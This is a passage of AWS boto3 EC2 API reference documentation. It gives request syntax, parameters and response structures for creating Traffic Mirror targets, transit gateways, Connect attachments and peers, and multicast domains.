Traffic Mirror target. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the Traffic Mirror session's network interface. + + * **OwnerId** _(string) --_ + + The ID of the account that owns the Traffic Mirror session. + + * **PacketLength** _(integer) --_ + + The number of bytes in each packet to mirror. These are the bytes after the VXLAN header. To mirror a subset, set this to the length (in bytes) to mirror. For example, if you set this value to 100, then the first 100 bytes that meet the filter criteria are copied to the target. Do not specify this parameter when you want to mirror the entire packet + + * **SessionNumber** _(integer) --_ + + The session number determines the order in which sessions are evaluated when an interface is used by multiple sessions. The first session with a matching filter is the one that mirrors the packets. + + Valid values are 1-32766. + + * **VirtualNetworkId** _(integer) --_ + + The virtual network ID associated with the Traffic Mirror session. + + * **Description** _(string) --_ + + The description of the Traffic Mirror session. + + * **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror session. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + +create_traffic_mirror_target(kwargs_) + +Creates a target for your Traffic Mirror session. + +A Traffic Mirror target is the destination for mirrored traffic. The Traffic Mirror source and the Traffic Mirror target (monitoring appliances) can be in the same VPC, or in different VPCs connected via VPC peering or a transit gateway. + +A Traffic Mirror target can be a network interface, or a Network Load Balancer. + +To use the target in a Traffic Mirror session, use [CreateTrafficMirrorSession](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTrafficMirrorSession.htm) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTrafficMirrorTarget) + +**Request Syntax** + +response = client.create_traffic_mirror_target( + NetworkInterfaceId='string', + NetworkLoadBalancerArn='string', + Description='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False, + ClientToken='string' +) + +Parameters + +* **NetworkInterfaceId** (_string_) -- The network interface ID that is associated with the target. +* **NetworkLoadBalancerArn** (_string_) -- The Amazon Resource Name (ARN) of the Network Load Balancer that is associated with the target. +* **Description** (_string_) -- The description of the Traffic Mirror target. +* **TagSpecifications** (_list_) -- + + The tags to assign to the Traffic Mirror target. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id208)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id210)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorTarget': { + 'TrafficMirrorTargetId': 'string', + 'NetworkInterfaceId': 'string', + 'NetworkLoadBalancerArn': 'string', + 'Type': 'network-interface'|'network-load-balancer', + 'Description': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + 'ClientToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorTarget** _(dict) --_ + + Information about the Traffic Mirror target. + + * **TrafficMirrorTargetId** _(string) --_ + + The ID of the Traffic Mirror target. + + * **NetworkInterfaceId** _(string) --_ + + The network interface ID that is attached to the target. + + * **NetworkLoadBalancerArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Network Load Balancer. + + * **Type** _(string) --_ + + The type of Traffic Mirror target. + + * **Description** _(string) --_ + + Information about the Traffic Mirror target. + + * **OwnerId** _(string) --_ + + The ID of the account that owns the Traffic Mirror target. + + * **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror target. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + +create_transit_gateway(kwargs_) + +Creates a transit gateway. + +You can use a transit gateway to interconnect your virtual private clouds (VPC) and on-premises networks. After the transit gateway enters the available state, you can attach your VPCs and VPN connections to the transit gateway. + +To attach your VPCs, use CreateTransitGatewayVpcAttachment . + +To attach a VPN connection, use CreateCustomerGateway to create a customer gateway and specify the ID of the customer gateway and the ID of the transit gateway in a call to CreateVpnConnection . + +When you create a transit gateway, we create a default transit gateway route table and use it as the default association route table and the default propagation route table. You can use CreateTransitGatewayRouteTable to create additional transit gateway route tables. If you disable automatic route propagation, we do not create a default transit gateway route table. You can use EnableTransitGatewayRouteTablePropagation to propagate routes from a resource attachment to a transit gateway route table. If you disable automatic associations, you can use AssociateTransitGatewayRouteTable to associate a resource attachment with a transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGateway) + +**Request Syntax** + +response = client.create_transit_gateway( + Description='string', + Options={ + 'AmazonSideAsn': 123, + 'AutoAcceptSharedAttachments': 'enable'|'disable', + 'DefaultRouteTableAssociation': 'enable'|'disable', + 'DefaultRouteTablePropagation': 'enable'|'disable', + 'VpnEcmpSupport': 'enable'|'disable', + 'DnsSupport': 'enable'|'disable', + 'MulticastSupport': 'enable'|'disable', + 'TransitGatewayCidrBlocks': [ + 'string', + ] + }, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description of the transit gateway. +* **Options** (_dict_) -- + + The transit gateway options. + + * **AmazonSideAsn** _(integer) --_ + + A private Autonomous System Number (ASN) for the Amazon side of a BGP session. The range is 64512 to 65534 for 16-bit ASNs and 4200000000 to 4294967294 for 32-bit ASNs. The default is 64512 . + + * **AutoAcceptSharedAttachments** _(string) --_ + + Enable or disable automatic acceptance of attachment requests. Disabled by default. + + * **DefaultRouteTableAssociation** _(string) --_ + + Enable or disable automatic association with the default association route table. Enabled by default. + + * **DefaultRouteTablePropagation** _(string) --_ + + Enable or disable automatic propagation of routes to the default propagation route table. Enabled by default. + + * **VpnEcmpSupport** _(string) --_ + + Enable or disable Equal Cost Multipath Protocol support. Enabled by default. + + * **DnsSupport** _(string) --_ + + Enable or disable DNS support. Enabled by default. + + * **MulticastSupport** _(string) --_ + + Indicates whether multicast is enabled on the transit gateway + + * **TransitGatewayCidrBlocks** _(list) --_ + + One or more IPv4 or IPv6 CIDR blocks for the transit gateway. Must be a size /24 CIDR block or larger for IPv4, or a size /64 CIDR block or larger for IPv6. + + * _(string) --_ +* **TagSpecifications** (_list_) -- + + The tags to apply to the transit gateway. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id213)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id215)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGateway': { + 'TransitGatewayId': 'string', + 'TransitGatewayArn': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Description': 'string', + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'AmazonSideAsn': 123, + 'TransitGatewayCidrBlocks': [ + 'string', + ], + 'AutoAcceptSharedAttachments': 'enable'|'disable', + 'DefaultRouteTableAssociation': 'enable'|'disable', + 'AssociationDefaultRouteTableId': 'string', + 'DefaultRouteTablePropagation': 'enable'|'disable', + 'PropagationDefaultRouteTableId': 'string', + 'VpnEcmpSupport': 'enable'|'disable', + 'DnsSupport': 'enable'|'disable', + 'MulticastSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGateway** _(dict) --_ + + Information about the transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **TransitGatewayArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway. + + * **State** _(string) --_ + + The state of the transit gateway. + + * **OwnerId** _(string) --_ + + The ID of the AWS account ID that owns the transit gateway. + + * **Description** _(string) --_ + + The description of the transit gateway. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The transit gateway options. + + * **AmazonSideAsn** _(integer) --_ + + A private Autonomous System Number (ASN) for the Amazon side of a BGP session. The range is 64512 to 65534 for 16-bit ASNs and 4200000000 to 4294967294 for 32-bit ASNs. + + * **TransitGatewayCidrBlocks** _(list) --_ + + The transit gateway CIDR blocks. + + * _(string) --_ + * **AutoAcceptSharedAttachments** _(string) --_ + + Indicates whether attachment requests are automatically accepted. + + * **DefaultRouteTableAssociation** _(string) --_ + + Indicates whether resource attachments are automatically associated with the default association route table. + + * **AssociationDefaultRouteTableId** _(string) --_ + + The ID of the default association route table. + + * **DefaultRouteTablePropagation** _(string) --_ + + Indicates whether resource attachments automatically propagate routes to the default propagation route table. + + * **PropagationDefaultRouteTableId** _(string) --_ + + The ID of the default propagation route table. + + * **VpnEcmpSupport** _(string) --_ + + Indicates whether Equal Cost Multipath Protocol support is enabled. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **MulticastSupport** _(string) --_ + + Indicates whether multicast is enabled on the transit gateway + + * **Tags** _(list) --_ + + The tags for the transit gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_transit_gateway_connect(kwargs_) + +Creates a Connect attachment from a specified transit gateway attachment. A Connect attachment is a GRE-based tunnel attachment that you can use to establish a connection between a transit gateway and an appliance. + +A Connect attachment uses an existing VPC or AWS Direct Connect attachment as the underlying transport mechanism. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGatewayConnect) + +**Request Syntax** + +response = client.create_transit_gateway_connect( + TransportTransitGatewayAttachmentId='string', + Options={ + 'Protocol': 'gre' + }, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **TransportTransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway attachment. You can specify a VPC attachment or a AWS Direct Connect attachment. + +* **Options** (_dict_) -- + + **[REQUIRED]** + + The Connect attachment options. + + * **Protocol** _(string) --_ **[REQUIRED]** + + The tunnel protocol. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the Connect attachment. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id218)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id220)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayConnect': { + 'TransitGatewayAttachmentId': 'string', + 'TransportTransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'Protocol': 'gre' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayConnect** _(dict) --_ + + Information about the Connect attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the Connect attachment. + + * **TransportTransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment from which the Connect attachment was created. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **State** _(string) --_ + + The state of the attachment. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The Connect attachment options. + + * **Protocol** _(string) --_ + + The tunnel protocol. + + * **Tags** _(list) --_ + + The tags for the attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_transit_gateway_connect_peer(kwargs_) + +Creates a Connect peer for a specified transit gateway Connect attachment between a transit gateway and an appliance. + +The peer address and transit gateway address must be the same IP address family (IPv4 or IPv6). + +For more information, see [Connect peers](https://docs.aws.amazon.com/vpc/latest/tgw/tgw-connect.html#tgw-connect-peer) in the _Transit Gateways Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGatewayConnectPeer) + +**Request Syntax** + +response = client.create_transit_gateway_connect_peer( + TransitGatewayAttachmentId='string', + TransitGatewayAddress='string', + PeerAddress='string', + BgpOptions={ + 'PeerAsn': 123 + }, + InsideCidrBlocks=[ + 'string', + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the Connect attachment. + +* **TransitGatewayAddress** (_string_) -- The peer IP address (GRE outer IP address) on the transit gateway side of the Connect peer, which must be specified from a transit gateway CIDR block. If not specified, Amazon automatically assigns the first available IP address from the transit gateway CIDR block. +* **PeerAddress** (_string_) -- + + **[REQUIRED]** + + The peer IP address (GRE outer IP address) on the appliance side of the Connect peer. + +* **BgpOptions** (_dict_) -- + + The BGP options for the Connect peer. + + * **PeerAsn** _(integer) --_ + + The peer Autonomous System Number (ASN). + +* **InsideCidrBlocks** (_list_) -- + + **[REQUIRED]** + + The range of inside IP addresses that are used for BGP peering. You must specify a size /29 IPv4 CIDR block from the 169.254.0.0/16 range. The first address from the range must be configured on the appliance as the BGP IP address. You can also optionally specify a size /125 IPv6 CIDR block from the fd00::/8 range. + + * _(string) --_ +* **TagSpecifications** (_list_) -- + + The tags to apply to the Connect peer. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id223)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id225)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayConnectPeer': { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayConnectPeerId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'CreationTime': datetime(2015, 1, 1), + 'ConnectPeerConfiguration': { + 'TransitGatewayAddress': 'string', + 'PeerAddress': 'string', + 'InsideCidrBlocks': [ + 'string', + ], + 'Protocol': 'gre', + 'BgpConfigurations': [ + { + 'TransitGatewayAsn': 123, + 'PeerAsn': 123, + 'TransitGatewayAddress': 'string', + 'PeerAddress': 'string', + 'BgpStatus': 'up'|'down' + }, + ] + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayConnectPeer** _(dict) --_ + + Information about the Connect peer. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the Connect attachment. + + * **TransitGatewayConnectPeerId** _(string) --_ + + The ID of the Connect peer. + + * **State** _(string) --_ + + The state of the Connect peer. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **ConnectPeerConfiguration** _(dict) --_ + + The Connect peer details. + + * **TransitGatewayAddress** _(string) --_ + + The Connect peer IP address on the transit gateway side of the tunnel. + + * **PeerAddress** _(string) --_ + + The Connect peer IP address on the appliance side of the tunnel. + + * **InsideCidrBlocks** _(list) --_ + + The range of interior BGP peer IP addresses. + + * _(string) --_ + * **Protocol** _(string) --_ + + The tunnel protocol. + + * **BgpConfigurations** _(list) --_ + + The BGP configuration details. + + * _(dict) --_ + + The BGP configuration information. + + * **TransitGatewayAsn** _(integer) --_ + + The transit gateway Autonomous System Number (ASN). + + * **PeerAsn** _(integer) --_ + + The peer Autonomous System Number (ASN). + + * **TransitGatewayAddress** _(string) --_ + + The interior BGP peer IP address for the transit gateway. + + * **PeerAddress** _(string) --_ + + The interior BGP peer IP address for the appliance. + + * **BgpStatus** _(string) --_ + + The BGP status. + + * **Tags** _(list) --_ + + The tags for the Connect peer. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_transit_gateway_multicast_domain(kwargs_) + +Creates a multicast domain using the specified transit gateway. + +The transit gateway must be in the available state before you create a domain. Use [DescribeTransitGateways](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeTransitGateways.html) to see the state of transit gateway. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTransitGatewayMulticastDomain) + +**Request Syntax** + +response = client.create_transit_gateway_multicast_domain( + TransitGatewayId='string', + Options={ + 'Igmpv2Support': 'enable'|'disable', + 'StaticSourcesSupport': 'enable'|'disable', + 'AutoAcceptSharedAssociations': 'enable'|'disable' + }, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway. + +* **Options** (_dict_) -- + + The options for the transit gateway multicast domain. + + * **Igmpv2Support** _(string) --_ + + Specify whether to enable Internet Group Management Protocol (IGMP) version 2 for the transit gateway multicast domain. + + * **StaticSourcesSupport** _(string) --_ + + Specify whether to enable support for statically configuring multicast group sources for a domain. + + * **AutoAcceptSharedAssociations** _(string) --_ + + Indicates whether to automatically accept cross-account subnet associations that are associated with the transit gateway multicast domain. + +* **TagSpecifications** (_list_) -- + + The tags for the transit gateway multicast domain. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id228)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | 